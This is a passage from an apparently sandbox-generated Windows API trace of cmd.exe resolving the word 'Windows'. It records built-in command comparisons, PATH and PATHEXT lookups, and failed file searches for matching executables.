_String2="PAUSE") returned 7 [0162.279] _wcsicmp (_String1="Windows", _String2="DATE") returned 19 [0162.279] _wcsicmp (_String1="Windows", _String2="TIME") returned 3 [0162.279] _wcsicmp (_String1="Windows", _String2="PROMPT") returned 7 [0162.279] _wcsicmp (_String1="Windows", _String2="MD") returned 10 [0162.279] _wcsicmp (_String1="Windows", _String2="MKDIR") returned 10 [0162.279] _wcsicmp (_String1="Windows", _String2="RD") returned 5 [0162.279] _wcsicmp (_String1="Windows", _String2="RMDIR") returned 5 [0162.279] _wcsicmp (_String1="Windows", _String2="PATH") returned 7 [0162.279] _wcsicmp (_String1="Windows", _String2="GOTO") returned 16 [0162.279] _wcsicmp (_String1="Windows", _String2="SHIFT") returned 4 [0162.279] _wcsicmp (_String1="Windows", _String2="CLS") returned 20 [0162.279] _wcsicmp (_String1="Windows", _String2="CALL") returned 20 [0162.279] _wcsicmp (_String1="Windows", _String2="VERIFY") returned 1 [0162.279] _wcsicmp (_String1="Windows", _String2="VER") returned 1 [0162.280] _wcsicmp (_String1="Windows", _String2="VOL") returned 1 [0162.280] _wcsicmp (_String1="Windows", _String2="EXIT") returned 18 [0162.280] _wcsicmp (_String1="Windows", _String2="SETLOCAL") returned 4 [0162.280] _wcsicmp (_String1="Windows", _String2="ENDLOCAL") returned 18 [0162.280] _wcsicmp (_String1="Windows", _String2="TITLE") returned 3 [0162.280] _wcsicmp (_String1="Windows", _String2="START") returned 4 [0162.280] _wcsicmp (_String1="Windows", _String2="DPATH") returned 19 [0162.280] _wcsicmp (_String1="Windows", _String2="KEYS") returned 12 [0162.280] _wcsicmp (_String1="Windows", _String2="MOVE") returned 10 [0162.280] _wcsicmp (_String1="Windows", _String2="PUSHD") returned 7 [0162.280] _wcsicmp (_String1="Windows", _String2="POPD") returned 7 [0162.280] _wcsicmp (_String1="Windows", _String2="ASSOC") returned 22 [0162.280] _wcsicmp (_String1="Windows", _String2="FTYPE") returned 17 [0162.280] _wcsicmp (_String1="Windows", _String2="BREAK") returned 21 [0162.280] _wcsicmp (_String1="Windows", _String2="COLOR") returned 20 [0162.280] _wcsicmp (_String1="Windows", _String2="MKLINK") returned 10 [0162.280] _wcsnicmp (_String1="Wind", _String2="cmd ", _MaxCount=0x4) returned 20 [0162.280] malloc (_Size=0xffce) returned 0x20b0fa70920 [0162.280] ??_V@YAXPEAX@Z () returned 0x20b0fa70920 [0162.281] GetProcessHeap () returned 0x20b0f920000 [0162.281] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1ffac) returned 0x20b0f957f90 [0162.284] SetErrorMode (uMode=0x0) returned 0x0 [0162.284] SetErrorMode (uMode=0x1) returned 0x0 [0162.284] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x20b0f957fa0, lpFilePart=0x9cb92feba0 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0x9cb92feba0*="system32") returned 0x13 [0162.284] SetErrorMode (uMode=0x0) returned 0x1 [0162.285] GetProcessHeap () returned 0x20b0f920000 [0162.285] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f957f90, Size=0x48) returned 0x20b0f957f90 [0162.285] GetProcessHeap () returned 0x20b0f920000 [0162.285] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f957f90) returned 0x48 [0162.285] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0162.285] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0162.285] GetProcessHeap () returned 0x20b0f920000 [0162.285] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1b4) returned 0x20b0f92d430 [0162.285] GetProcessHeap () returned 0x20b0f920000 [0162.285] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x358) returned 0x20b0f92e0d0 [0162.285] GetProcessHeap () returned 0x20b0f920000 [0162.285] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f92e0d0, Size=0x1b6) returned 0x20b0f92e0d0 [0162.285] GetProcessHeap () returned 0x20b0f920000 [0162.285] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f92e0d0) returned 0x1b6 [0162.285] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0162.285] GetProcessHeap () returned 0x20b0f920000 [0162.285] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xe8) returned 0x20b0f92d5f0 [0162.285] GetProcessHeap () returned 0x20b0f920000 [0162.285] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f92d5f0, Size=0x7e) returned 0x20b0f92d5f0 [0162.285] GetProcessHeap () returned 0x20b0f920000 [0162.285] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f92d5f0) returned 0x7e [0162.285] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0162.285] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0x20b0f92d090 [0162.285] FindClose (in: hFindFile=0x20b0f92d090 | out: hFindFile=0x20b0f92d090) returned 1 [0162.285] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.COM", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.286] GetLastError () returned 0x2 [0162.286] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.EXE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.286] GetLastError () returned 0x2 [0162.286] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.BAT", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.286] GetLastError () returned 0x2 [0162.286] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.CMD", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.286] GetLastError () returned 0x2 [0162.286] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.286] GetLastError () returned 0x2 [0162.286] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.286] GetLastError () returned 0x2 [0162.287] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.287] GetLastError () returned 0x2 [0162.287] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JSE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.287] GetLastError () returned 0x2 [0162.287] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSF", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.287] GetLastError () returned 0x2 [0162.287] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSH", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.287] GetLastError () returned 0x2 [0162.287] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.MSC", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.287] GetLastError () returned 0x2 [0162.287] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0162.287] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.288] GetLastError () returned 0x2 [0162.288] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0162.288] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0x20b0f92ce50 [0162.288] FindClose (in: hFindFile=0x20b0f92ce50 | out: hFindFile=0x20b0f92ce50) returned 1 [0162.288] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.COM", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.288] GetLastError () returned 0x2 [0162.288] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.EXE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.288] GetLastError () returned 0x2 [0162.288] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.BAT", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.288] GetLastError () returned 0x2 [0162.288] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.CMD", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.288] GetLastError () returned 0x2 [0162.289] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.289] GetLastError () returned 0x2 [0162.289] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.289] GetLastError () returned 0x2 [0162.289] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.289] GetLastError () returned 0x2 [0162.289] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JSE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.289] GetLastError () returned 0x2 [0162.289] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSF", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.289] GetLastError () returned 0x2 [0162.289] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSH", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.289] GetLastError () returned 0x2 [0162.290] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.MSC", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.290] GetLastError () returned 0x2 [0162.290] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0162.290] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.290] GetLastError () returned 0x2 [0162.290] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0162.290] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\Wbem\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.290] GetLastError () returned 0x2 [0162.290] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0162.290] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.290] GetLastError () returned 0x2 [0162.290] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0162.291] FindFirstFileExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.291] GetLastError () returned 0x2 [0162.291] ??_V@YAXPEAX@Z () returned 0x1 [0162.291] GetConsoleTitleW (in: lpConsoleTitle=0x9cb92feb80, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0162.291] malloc (_Size=0xffce) returned 0x20b0fa70920 [0162.291] ??_V@YAXPEAX@Z () returned 0x20b0fa70920 [0162.291] malloc (_Size=0xffce) returned 0x20b0fa80900 [0162.291] ??_V@YAXPEAX@Z () returned 0x20b0fa80900 [0162.292] _wcsicmp (_String1="Windows", _String2="DIR") returned 19 [0162.292] _wcsicmp (_String1="Windows", _String2="ERASE") returned 18 [0162.292] _wcsicmp (_String1="Windows", _String2="DEL") returned 19 [0162.292] _wcsicmp (_String1="Windows", _String2="TYPE") returned 3 [0162.292] _wcsicmp (_String1="Windows", _String2="COPY") returned 20 [0162.292] _wcsicmp (_String1="Windows", _String2="CD") returned 20 [0162.292] _wcsicmp (_String1="Windows", _String2="CHDIR") returned 20 [0162.292] _wcsicmp (_String1="Windows", _String2="RENAME") returned 5 [0162.292] _wcsicmp (_String1="Windows", _String2="REN") returned 5 [0162.292] _wcsicmp (_String1="Windows", _String2="ECHO") returned 18 [0162.292] _wcsicmp (_String1="Windows", _String2="SET") returned 4 [0162.292] _wcsicmp (_String1="Windows", _String2="PAUSE") returned 7 [0162.292] _wcsicmp (_String1="Windows", _String2="DATE") returned 19 [0162.292] _wcsicmp (_String1="Windows", _String2="TIME") returned 3 [0162.292] _wcsicmp (_String1="Windows", _String2="PROMPT") returned 7 [0162.292] _wcsicmp (_String1="Windows", _String2="MD") returned 10 [0162.292] _wcsicmp (_String1="Windows", _String2="MKDIR") returned 10 [0162.292] _wcsicmp (_String1="Windows", _String2="RD") returned 5 [0162.292] _wcsicmp (_String1="Windows", _String2="RMDIR") returned 5 [0162.292] _wcsicmp (_String1="Windows", _String2="PATH") returned 7 [0162.292] _wcsicmp (_String1="Windows", _String2="GOTO") returned 16 [0162.292] _wcsicmp (_String1="Windows", _String2="SHIFT") returned 4 [0162.292] _wcsicmp (_String1="Windows", _String2="CLS") returned 20 [0162.292] _wcsicmp (_String1="Windows", _String2="CALL") returned 20 [0162.292] _wcsicmp (_String1="Windows", _String2="VERIFY") returned 1 [0162.292] _wcsicmp (_String1="Windows", _String2="VER") returned 1 [0162.293] _wcsicmp (_String1="Windows", _String2="VOL") returned 1 [0162.293] _wcsicmp (_String1="Windows", _String2="EXIT") returned 18 [0162.293] _wcsicmp (_String1="Windows", _String2="SETLOCAL") returned 4 [0162.293] _wcsicmp (_String1="Windows", _String2="ENDLOCAL") returned 18 [0162.293] _wcsicmp (_String1="Windows", _String2="TITLE") returned 3 [0162.293] _wcsicmp (_String1="Windows", _String2="START") returned 4 [0162.293] _wcsicmp (_String1="Windows", _String2="DPATH") returned 19 [0162.293] _wcsicmp (_String1="Windows", _String2="KEYS") returned 12 [0162.293] _wcsicmp (_String1="Windows", _String2="MOVE") returned 10 [0162.293] _wcsicmp (_String1="Windows", _String2="PUSHD") returned 7 [0162.293] _wcsicmp (_String1="Windows", _String2="POPD") returned 7 [0162.293] _wcsicmp (_String1="Windows", _String2="ASSOC") returned 22 [0162.293] _wcsicmp (_String1="Windows", _String2="FTYPE") returned 17 [0162.293] _wcsicmp (_String1="Windows", _String2="BREAK") returned 21 [0162.293] _wcsicmp (_String1="Windows", _String2="COLOR") returned 20 [0162.293] _wcsicmp (_String1="Windows", _String2="MKLINK") returned 10 [0162.293] _wcsicmp (_String1="Windows", _String2="DIR") returned 19 [0162.293] _wcsicmp (_String1="Windows", _String2="ERASE") returned 18 [0162.293] _wcsicmp (_String1="Windows", _String2="DEL") returned 19 [0162.293] _wcsicmp (_String1="Windows", _String2="TYPE") returned 3 [0162.293] _wcsicmp (_String1="Windows", _String2="COPY") returned 20 [0162.293] _wcsicmp (_String1="Windows", _String2="CD") returned 20 [0162.293] _wcsicmp (_String1="Windows", _String2="CHDIR") returned 20 [0162.293] _wcsicmp (_String1="Windows", _String2="RENAME") returned 5 [0162.293] _wcsicmp (_String1="Windows", _String2="REN") returned 5 [0162.293] _wcsicmp (_String1="Windows", _String2="ECHO") returned 18 [0162.293] _wcsicmp (_String1="Windows", _String2="SET") returned 4 [0162.293] _wcsicmp (_String1="Windows", _String2="PAUSE") returned 7 [0162.293] _wcsicmp (_String1="Windows", _String2="DATE") returned 19 [0162.293] _wcsicmp (_String1="Windows", _String2="TIME") returned 3 [0162.293] _wcsicmp (_String1="Windows", _String2="PROMPT") returned 7 [0162.293] _wcsicmp (_String1="Windows", _String2="MD") returned 10 [0162.293] _wcsicmp (_String1="Windows", _String2="MKDIR") returned 10 [0162.293] _wcsicmp (_String1="Windows", _String2="RD") returned 5 [0162.294] _wcsicmp (_String1="Windows", _String2="RMDIR") returned 5 [0162.294] _wcsicmp (_String1="Windows", _String2="PATH") returned 7 [0162.294] _wcsicmp (_String1="Windows", _String2="GOTO") returned 16 [0162.294] _wcsicmp (_String1="Windows", _String2="SHIFT") returned 4 [0162.294] _wcsicmp (_String1="Windows", _String2="CLS") returned 20 [0162.294] _wcsicmp (_String1="Windows", _String2="CALL") returned 20 [0162.294] _wcsicmp (_String1="Windows", _String2="VERIFY") returned 1 [0162.294] _wcsicmp (_String1="Windows", _String2="VER") returned 1 [0162.294] _wcsicmp (_String1="Windows", _String2="VOL") returned 1 [0162.294] _wcsicmp (_String1="Windows", _String2="EXIT") returned 18 [0162.294] _wcsicmp (_String1="Windows", _String2="SETLOCAL") returned 4 [0162.294] _wcsicmp (_String1="Windows", _String2="ENDLOCAL") returned 18 [0162.294] _wcsicmp (_String1="Windows", _String2="TITLE") returned 3 [0162.294] _wcsicmp (_String1="Windows", _String2="START") returned 4 [0162.294] _wcsicmp (_String1="Windows", _String2="DPATH") returned 19 [0162.294] _wcsicmp (_String1="Windows", _String2="KEYS") returned 12 [0162.294] _wcsicmp (_String1="Windows", _String2="MOVE") returned 10 [0162.294] _wcsicmp (_String1="Windows", _String2="PUSHD") returned 7 [0162.294] _wcsicmp (_String1="Windows", _String2="POPD") returned 7 [0162.294] _wcsicmp (_String1="Windows", _String2="ASSOC") returned 22 [0162.294] _wcsicmp (_String1="Windows", _String2="FTYPE") returned 17 [0162.294] _wcsicmp (_String1="Windows", _String2="BREAK") returned 21 [0162.294] _wcsicmp (_String1="Windows", _String2="COLOR") returned 20 [0162.294] _wcsicmp (_String1="Windows", _String2="MKLINK") returned 10 [0162.294] _wcsicmp (_String1="Windows", _String2="FOR") returned 17 [0162.294] _wcsicmp (_String1="Windows", _String2="IF") returned 14 [0162.294] _wcsicmp (_String1="Windows", _String2="REM") returned 5 [0162.294] ??_V@YAXPEAX@Z () returned 0x1 [0162.295] GetProcessHeap () returned 0x20b0f920000 [0162.295] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xffde) returned 0x20b0f957ff0 [0162.295] GetProcessHeap () returned 0x20b0f920000 [0162.295] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xc0) returned 0x20b0f9570a0 [0162.295] _wcsnicmp (_String1="Wind", _String2="cmd ", _MaxCount=0x4) returned 20 [0162.295] malloc (_Size=0xffce) returned 0x20b0fa80900 [0162.295] ??_V@YAXPEAX@Z () returned 0x20b0fa80900 [0162.296] GetProcessHeap () returned 0x20b0f920000 [0162.296] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1ffac) returned 0x20b0f967fe0 [0162.296] SetErrorMode (uMode=0x0) returned 0x0 [0162.296] SetErrorMode (uMode=0x1) returned 0x0 [0162.296] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x20b0f967ff0, lpFilePart=0x9cb92fe400 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0x9cb92fe400*="system32") returned 0x13 [0162.296] SetErrorMode (uMode=0x0) returned 0x1 [0162.297] GetProcessHeap () returned 0x20b0f920000 [0162.297] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f967fe0, Size=0x48) returned 0x20b0f967fe0 [0162.297] GetProcessHeap () returned 0x20b0f920000 [0162.297] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f967fe0) returned 0x48 [0162.297] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0162.297] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0162.297] GetProcessHeap () returned 0x20b0f920000 [0162.297] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1b4) returned 0x20b0f92e2a0 [0162.297] GetProcessHeap () returned 0x20b0f920000 [0162.297] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x358) returned 0x20b0f9269b0 [0162.297] GetProcessHeap () returned 0x20b0f920000 [0162.297] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f9269b0, Size=0x1b6) returned 0x20b0f9269b0 [0162.297] GetProcessHeap () returned 0x20b0f920000 [0162.297] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f9269b0) returned 0x1b6 [0162.297] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0162.297] GetProcessHeap () returned 0x20b0f920000 [0162.297] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xe8) returned 0x20b0f92d680 [0162.297] GetProcessHeap () returned 0x20b0f920000 [0162.297] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f92d680, Size=0x7e) returned 0x20b0f92d680 [0162.297] GetProcessHeap () returned 0x20b0f920000 [0162.297] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f92d680) returned 0x7e [0162.297] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0162.297] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0x20b0f92cd90 [0162.297] FindClose (in: hFindFile=0x20b0f92cd90 | out: hFindFile=0x20b0f92cd90) returned 1 [0162.298] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.COM", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.299] GetLastError () returned 0x2 [0162.299] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.EXE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.299] GetLastError () returned 0x2 [0162.299] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.BAT", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.299] GetLastError () returned 0x2 [0162.299] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.CMD", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.299] GetLastError () returned 0x2 [0162.299] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.299] GetLastError () returned 0x2 [0162.299] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.300] GetLastError () returned 0x2 [0162.300] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.300] GetLastError () returned 0x2 [0162.300] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JSE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.300] GetLastError () returned 0x2 [0162.300] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSF", 